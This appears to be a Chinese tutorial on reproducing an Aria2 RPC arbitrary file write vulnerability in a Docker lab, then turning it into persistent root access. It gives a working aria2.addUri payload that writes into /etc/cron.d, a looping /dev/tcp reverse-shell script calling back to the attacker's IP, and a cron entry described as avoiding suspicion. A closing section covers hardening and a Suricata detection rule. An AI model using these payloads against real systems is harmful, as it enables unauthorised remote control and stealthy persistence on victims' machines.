当前位置：首页 > news >正文

别再只测RCE了！手把手教你复现Aria2任意文件写入漏洞（附Docker靶场搭建）

news 2026/4/18 21:03:43

从零构建Aria2任意文件写入漏洞实战靶场：渗透测试进阶指南

在安全研究领域，漏洞复现往往被简化为"验证存在性"的机械操作，而忽略了其作为攻防演练核心环节的真正价值。Aria2作为一款广泛使用的多协议下载工具，其任意文件写入漏洞（CVE-2018-10887）的典型复现方式通常止步于RCE验证，这就像只学会了开保险箱却不知道如何处置里面的财物。本文将带您突破传统复现的局限，通过全链路实战演示，从Docker环境搭建到漏洞深度利用，最终实现持久化控制的完整攻击路径。

1. 靶场环境科学搭建

1.1 容器化漏洞环境构建

现代渗透测试已经进入容器化时代，使用Docker部署漏洞环境不仅能实现隔离测试，更能快速还原真实业务场景。我们选择Vulhub作为基础镜像库，这是目前最活跃的开源漏洞环境集合之一。

# 下载最新版Vulhub git clone https://github.com/vulhub/vulhub.git cd vulhub/aria2/rce # 构建并启动容器 docker-compose build --no-cache docker-compose up -d

启动后检查容器状态时，有经验的测试者会特别注意端口映射情况：

docker ps --format "table {{.ID}}\t{{.Names}}\t{{.Ports}}"

预期输出应显示6800端口已映射到宿主机，这是Aria2的RPC服务端口。常见问题排查表：

现象	可能原因	解决方案
端口未暴露	docker-compose.yml配置错误	检查ports字段格式应为"6800:6800"
服务未启动	容器启动命令错误	确认entrypoint包含--enable-rpc参数
连接被拒绝	防火墙规则限制	临时关闭firewalld:`systemctl stop firewalld`

1.2 RPC接口验证与调试

与传统认知不同，直接访问http://ip:6800 会显示空白页面——这实际上是正常现象，因为Aria2的RPC接口需要特定格式的请求。我们可以使用curl进行基础验证：

curl -X POST http://localhost:6800/jsonrpc -d '{ "jsonrpc":"2.0", "id":"QXJpYTY=", "method":"aria2.getVersion" }'

成功响应应包含版本信息，类似：

{ "id": "QXJpYTY=", "jsonrpc": "2.0", "result": { "enabledFeatures": ["Async DNS", "BitTorrent"], "version": "1.33.1" } }

2. 漏洞原理深度解析

2.1 文件写入机制剖析

Aria2的任意文件写入漏洞源于对RPC接口参数缺乏充分校验，攻击者可以通过控制三个关键参数实现文件操控：

dir参数：指定下载文件存储目录
out参数：设置下载文件的保存名称
rpc-save-upload-metadata：保存上传的元数据文件

这三个参数组合使用时，攻击者可以：

覆盖系统关键文件（如/etc/passwd）
创建计划任务脚本（/etc/cron.d/）
写入SSH公钥（~/.ssh/authorized_keys）

2.2 漏洞利用条件矩阵

并非所有环境都能直接利用该漏洞，下表列出了关键影响因素：

条件维度	有利场景	不利场景	应对策略
运行权限	root用户	普通用户	寻找可写系统目录
目录限制	无限制	chroot环境	尝试相对路径穿越
文件存在	可覆盖	不可写	追加写入（>>）
过滤机制	无过滤	内容检查	使用编码/混淆技术

3. 可视化攻击界面配置

3.1 YAAW控制台高级用法

虽然可以直接构造JSON-RPC请求，但使用YAAW（Yet Another Aria2 Web前端）能显著提升操作效率。关键配置步骤如下：

访问https://binux.github.io/yaaw/demo/
点击右上角扳手图标进入设置
配置JSON-RPC路径为http://靶机IP:6800/jsonrpc
设置自动刷新间隔为5秒（便于监控状态）

注意：现代浏览器可能会阻止混合内容请求，若靶机使用HTTP协议，建议在Chrome中启用chrome://flags/#unsafely-treat-insecure-origin-as-secure

3.2 下载任务精心构造

创建恶意下载任务时，参数配置需要特别技巧：

{ "jsonrpc": "2.0", "id": "exploit", "method": "aria2.addUri", "params": [ ["http://攻击机IP/shell.sh"], { "dir": "/etc/cron.d", "out": "root", "rpc-save-upload-metadata": "false" } ] }

参数组合效果说明：

dir指定写入目录为计划任务文件夹
out设置文件名为"root"（cron.d下的任务文件）
文件内容为从攻击机下载的shell脚本

4. 持久化攻击实战演示

4.1 反弹Shell精心构造

传统反弹Shell脚本在容器环境中往往失效，我们需要针对性优化：

#!/bin/bash # 容器环境专用反弹脚本 while true; do bash -c 'exec 9<>/dev/tcp/攻击机IP/4444;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i' sleep 60 done

脚本特点：

添加无限循环确保连接断开后重连
使用文件描述符重定向增强稳定性
避免加载profile提高隐蔽性

4.2 计划任务巧妙植入

通过漏洞写入/etc/cron.d/root文件（注意格式要求）：

* * * * * root /etc/cron.d/shell 2>&1 | logger -t aria2-exploit

关键细节：

必须包含执行用户（root）
通过logger记录输出避免引起怀疑
使用全路径执行防止环境变量问题

4.3 手动验证与排错

当自动反弹失败时，需要进入容器手动排查：

docker exec -it 容器ID /bin/bash -c "ls -la /etc/cron.d; cat /etc/cron.d/root"

常见问题处理指南：

权限不足：检查文件所有者是否为root
格式错误：确认cron文件符合规范
路径错误：使用which bash确认解释器位置
网络隔离：验证容器到攻击机的连通性

5. 防御加固与检测方案

5.1 安全配置清单

对于必须使用Aria2的环境，建议实施以下防护措施：

[ ] 使用--rpc-secret参数启用认证
[ ] 设置--rpc-listen-all=false仅监听本地
[ ] 通过iptables限制访问源IP
[ ] 定期更新到最新安全版本
[ ] 使用非root用户运行aria2c

5.2 入侵检测规则示例

以下Suricata规则可检测漏洞利用尝试：

alert http any any -> any 6800 (msg:"Aria2 Arbitrary File Write Attempt"; flow:to_server; content:"POST"; http_method; content:"aria2.addUri"; content:"/etc/cron.d"; content:"out"; distance:0; metadata:service http; sid:20240801; rev:1;)